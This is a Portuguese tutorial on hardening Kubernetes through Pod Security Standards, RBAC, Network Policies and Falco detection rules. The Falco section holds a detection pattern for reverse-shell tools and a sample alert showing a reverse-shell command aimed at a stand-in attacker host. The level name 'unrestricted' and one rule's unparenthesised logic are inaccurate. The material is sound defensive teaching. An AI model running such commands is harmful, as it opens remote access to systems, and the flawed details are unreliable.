Segurança em Kubernetes: Uma Abordagem Prática e Estruturada
A segurança em Kubernetes não é um complemento opcional — é a fundação sobre a qual todo o sistema deve ser construído. Quando você implanta aplicações em contêineres orquestrados, está expondo pontos de ataque potenciais em múltiplas camadas: no próprio pod, no acesso aos recursos, na comunicação entre componentes e na detecção de anomalias em tempo real. Este artigo aborda as quatro pilares essenciais da segurança em Kubernetes que todo profissional responsável deve dominar.
Pod Security: Isolamento e Restrições no Nível do Container
O que é Pod Security e por que importa
Pod Security é o conjunto de políticas que controla como os pods são executados no cluster. Um pod inseguro pode permitir que um invasor escale privilégios, acesse o sistema de arquivos do host ou comprometa todo o cluster. O objetivo é aplicar restrições que impeçam comportamentos perigosos sem quebrar a funcionalidade legítima da aplicação.
Existem três níveis de segurança definidos pelo Kubernetes: unrestricted (sem restrições, inseguro), baseline (restrições mínimas para evitar vulnerabilidades conhecidas) e restricted (altamente restritivo, segurança máxima). A maioria dos clusters deve usar pelo menos baseline, com restricted em ambientes sensíveis.
Pod Security Standards em ação
O Pod Security Standards substituiu o antigo PodSecurityPolicy (deprecado). Você define um padrão de segurança no namespace e o cluster o enforça automaticamente. Veja como configurar:
apiVersion: v1
kind: Namespace
metadata:
name: secure-app
labels:
pod-security.kubernetes.io/enforce: restricted
pod-security.kubernetes.io/audit: restricted
pod-security.kubernetes.io/warn: restricted
Este namespace agora rejeita qualquer pod que viole os padrões restricted. Se uma aplicação tentar ser implantada com privilégios elevados ou root, será bloqueada. Vamos ver um exemplo prático de um pod seguro:
apiVersion: v1
kind: Pod
metadata:
name: secure-app
namespace: secure-app
spec:
containers:
- name: app
image: nginx:latest
securityContext:
allowPrivilegeEscalation: false
readOnlyRootFilesystem: true
runAsNonRoot: true
runAsUser: 1000
capabilities:
drop:
- ALL
seccompProfile:
type: RuntimeDefault
volumeMounts:
- name: tmp
mountPath: /tmp
- name: cache
mountPath: /var/cache/nginx
- name: run
mountPath: /var/run
volumes:
- name: tmp
emptyDir: {}
- name: cache
emptyDir: {}
- name: run
emptyDir: {}
A configuração acima implementa o princípio do menor privilégio: o container não executa como root, não pode escalar privilégios, o sistema de arquivos é apenas leitura (exceto /tmp), e todas as capabilities perigosas foram removidas. Este é o padrão que você deve perseguir em produção.
RBAC: Controle de Acesso Baseado em Papéis
Por que RBAC é crítico
RBAC (Role-Based Access Control) determina quem pode fazer o quê dentro do cluster. Sem RBAC apropriado, qualquer usuário ou service account pode criar, deletar ou modificar recursos críticos. Um invasor que comprometer uma aplicação pode explorar um RBAC fraco para escalar privilégios e comprometer todo o cluster.
O modelo do Kubernetes é simples: um Subject (usuário, grupo ou service account) recebe um Role ou ClusterRole através de um RoleBinding ou ClusterRoleBinding. Roles definem permissões em um namespace específico; ClusterRoles são globais.
Implementando RBAC na prática
Considere um cenário real: uma aplicação precisa ler ConfigMaps e Secrets do seu namespace, mas nada mais. Você nunca deve usar a service account default do namespace — sempre crie uma dedicada:
apiVersion: v1
kind: ServiceAccount
metadata:
name: app-reader
namespace: production
---
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
name: configmap-secret-reader
namespace: production
rules:
- apiGroups: [""]
resources: ["configmaps", "secrets"]
verbs: ["get", "list"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: read-configs
namespace: production
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: Role
name: configmap-secret-reader
subjects:
- kind: ServiceAccount
name: app-reader
namespace: production
Agora associe a service account ao pod:
apiVersion: apps/v1
kind: Deployment
metadata:
name: config-consumer
namespace: production
spec:
replicas: 1
selector:
matchLabels:
app: config-consumer
template:
metadata:
labels:
app: config-consumer
spec:
serviceAccountName: app-reader
containers:
- name: app
image: myapp:v1
env:
- name: CONFIG_PATH
value: /etc/config
volumeMounts:
- name: config
mountPath: /etc/config
readOnly: true
volumes:
- name: config
configMap:
name: app-config
A aplicação agora tem apenas as permissões necessárias. Se o container for comprometido, o atacante está limitado — não pode deletar Pods, modificar Deployments ou acessar Secrets de outros namespaces. Isso é defense in depth — uma camada de proteção contra escalonamento de privilégios.
Auditoria de RBAC
Sempre valide suas configurações de RBAC usando kubectl auth can-i:
# Verificar se a service account pode ler secrets
kubectl auth can-i get secrets --as=system:serviceaccount:production:app-reader -n production
# Listar todas as permissões de uma service account
kubectl auth can-i list '*' --as=system:serviceaccount:production:app-reader -n production
Use esses comandos regularmente em seu pipeline de CI/CD para detectar permissões excessivas.
Network Policies: Segmentação de Tráfego
Entendendo Network Policies
Network Policies controlam o fluxo de tráfego entre pods e para o exterior do cluster. Por padrão, no Kubernetes todos os pods podem se comunicar com todos os outros — uma violação séria do princípio da menor confiança. Network Policies transformam isso em um modelo explícito: apenas o tráfego explicitamente permitido é aceito.
Uma Network Policy funciona como um firewall de aplicação. Você define regras de entrada (ingress) e saída (egress) baseadas em seletores de label, namespaces ou CIDRs. O plugin CNI do seu cluster (Calico, Cilium, Weave, etc.) enforça essas políticas.
Políticas de rede em cenários reais
Imagine um cluster com três camadas: frontend, API e banco de dados. O frontend não deve se comunicar direto com o banco. Veja como implementar:
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: deny-all-ingress
namespace: production
spec:
podSelector: {}
policyTypes:
- Ingress
Essa política nega todo tráfego de entrada no namespace. Agora, permita explicitamente o que é necessário:
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: allow-frontend-from-ingress
namespace: production
spec:
podSelector:
matchLabels:
tier: frontend
policyTypes:
- Ingress
ingress:
- from:
- namespaceSelector:
matchLabels:
name: ingress-nginx
ports:
- protocol: TCP
port: 8080
---
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: allow-api-from-frontend
namespace: production
spec:
podSelector:
matchLabels:
tier: api
policyTypes:
- Ingress
ingress:
- from:
- podSelector:
matchLabels:
tier: frontend
ports:
- protocol: TCP
port: 5000
---
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: allow-db-from-api
namespace: production
spec:
podSelector:
matchLabels:
tier: database
policyTypes:
- Ingress
ingress:
- from:
- podSelector:
matchLabels:
tier: api
ports:
- protocol: TCP
port: 5432
Com essas políticas, o fluxo é: Ingress Controller → Frontend → API → Database. Uma tentativa direta de Frontend → Database será bloqueada. Isso reduz drasticamente a superfície de ataque em caso de comprometimento.
Para saída (egress), você pode ser ainda mais restritivo — permitir que a API se comunique apenas com o banco e um serviço de DNS externo:
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: api-egress-policy
namespace: production
spec:
podSelector:
matchLabels:
tier: api
policyTypes:
- Egress
egress:
- to:
- podSelector:
matchLabels:
tier: database
ports:
- protocol: TCP
port: 5432
- to:
- namespaceSelector: {}
ports:
- protocol: UDP
port: 53
- to:
- namespaceSelector: {}
ports:
- protocol: TCP
port: 443
Falco: Detecção de Anomalias em Tempo Real
O que é Falco e por que você precisa
Falco é um motor de detecção de comportamento em tempo real. Enquanto Pod Security Standards, RBAC e Network Policies são prevenção, Falco é detecção — identifica atividades suspeitas dentro de containers que já estão em execução. Se um atacante conseguir explorar uma vulnerabilidade zero-day e executar código dentro de um pod, Falco será sua última linha de defesa.
Falco monitora chamadas de sistema e eventos de rede, comparando-as contra regras que você define. Se algo suspeito acontecer (como um shell sendo executado dentro de um container, arquivo sensível sendo modificado ou tentativa de escalonamento de privilégios), Falco alerta imediatamente.
Instalando e configurando Falco
A forma mais simples é usar Helm:
helm repo add falcosecurity https://falcosecurity.github.io/charts
helm install falco falcosecurity/falco \
--namespace falco \
--create-namespace \
--set falco.grpc.enabled=true \
--set falcosidekick.enabled=true
Falco é instalado como DaemonSet — uma instância roda em cada node do cluster, monitorando todos os containers.
Definindo regras de detecção
O poder real do Falco está em suas regras. Você pode adicionar regras customizadas para seu ambiente. Veja um exemplo de detecção de comportamento suspeito:
- rule: Unauthorized Process
desc: Detect suspicious process execution in containers
condition: >
spawned_process and container and
not proc.name in (allowed_processes) and
not proc.pname in (allowed_parents)
output: >
Suspicious process execution
(user=%user.name command=%proc.cmdline container=%container.name pod=%k8s.pod.name)
priority: WARNING
tags: [process, container, suspicious]
- rule: Write below root
desc: An attempt to write to root directory detected
condition: >
write and container and
fd.name glob /bin/* or fd.name glob /usr/bin/* or
fd.name glob /usr/sbin/*
output: >
File write to system directory
(user=%user.name file=%fd.name container=%container.name)
priority: WARNING
tags: [filesystem, privilege_escalation]
- rule: Reverse shell detected
desc: Detect common reverse shell patterns
condition: >
spawned_process and container and
(proc.args contains "/bin/bash" or proc.args contains "/bin/sh") and
(proc.args contains "-i" or proc.args contains "-c") and
(proc.args contains "/dev/tcp" or proc.args contains "nc " or proc.args contains "ncat")
output: >
Possible reverse shell
(user=%user.name command=%proc.cmdline container=%container.name)
priority: CRITICAL
tags: [network, reverse_shell]
Essas regras são adicionadas em um ConfigMap ou arquivo customizado que Falco carrega. O objetivo é ser específico o suficiente para não gerar alarmes falsos, mas amplo o suficiente para pegar comportamento real suspeito.
Integração com sistemas de alerta
Falco sozinho apenas loga eventos. Para ser útil, você precisa integrá-lo com um sistema de alerta. Use Falco Sidekick para enviar alertas a Slack, PagerDuty, Elasticsearch, etc.:
apiVersion: v1
kind: ConfigMap
metadata:
name: falco-sidekick-config
namespace: falco
data:
config.yaml: |
slack:
webhookurl: https://hooks.slack.com/services/YOUR/WEBHOOK/URL
elasticsearch:
hostport: elasticsearch.elastic:9200
pagerduty:
token: your-pagerduty-token
Com isso, cada alerta do Falco é imediatamente enviado para seus canais de monitoramento. Um exemplo de saída:
[CRITICAL] Possible reverse shell
user=root command=/bin/bash -i /dev/tcp/attacker.com/4444 container=compromised-app pod=production/web-server
Você recebe isto em tempo real no Slack e pode responder imediatamente — isolar o pod, iniciar investigação forense, ativar playbooks de incidente.
Boas práticas com Falco
Sempre comece com modo audit (apenas log) antes de alert. Implemente gradualmente, validando que as regras funcionam no seu ambiente sem gerar falsos positivos. Mantenha um baseline do comportamento normal de seus containers e customize as regras para seu contexto específico. Use Falco em conjunto com um SIEM para correlação de eventos e análise mais profunda.
Conclusão
Kubernetes Security é um tema vasto, mas esses quatro pilares — Pod Security Standards, RBAC, Network Policies e Falco — formam uma defesa sólida. Primeiro aprendizado: segurança em camadas (defense in depth) é mais efetivo que qualquer controle único. Pod Security Standards previne que containers inseguros sejam executados; RBAC limita o que um atacante pode fazer se conseguir acessar o cluster; Network Policies segmenta o tráfego; Falco detecta quando algo já escapou. Segundo aprendizado: nenhuma ferramenta resolve tudo — você precisa de todas funcionando juntas. O melhor RBAC do mundo não ajuda se seu pod está rodando como root. A melhor Network Policy não detecta um reverse shell. Terceiro aprendizado: segurança é iterativa. Comece com o básico (padrão restricted, RBAC mínimo, deny-all + allowlist), monitore com Falco, ajuste conforme aprende sobre seu ambiente e ameaças evoluem. Este é o trabalho real de um engenheiro de segurança em Kubernetes.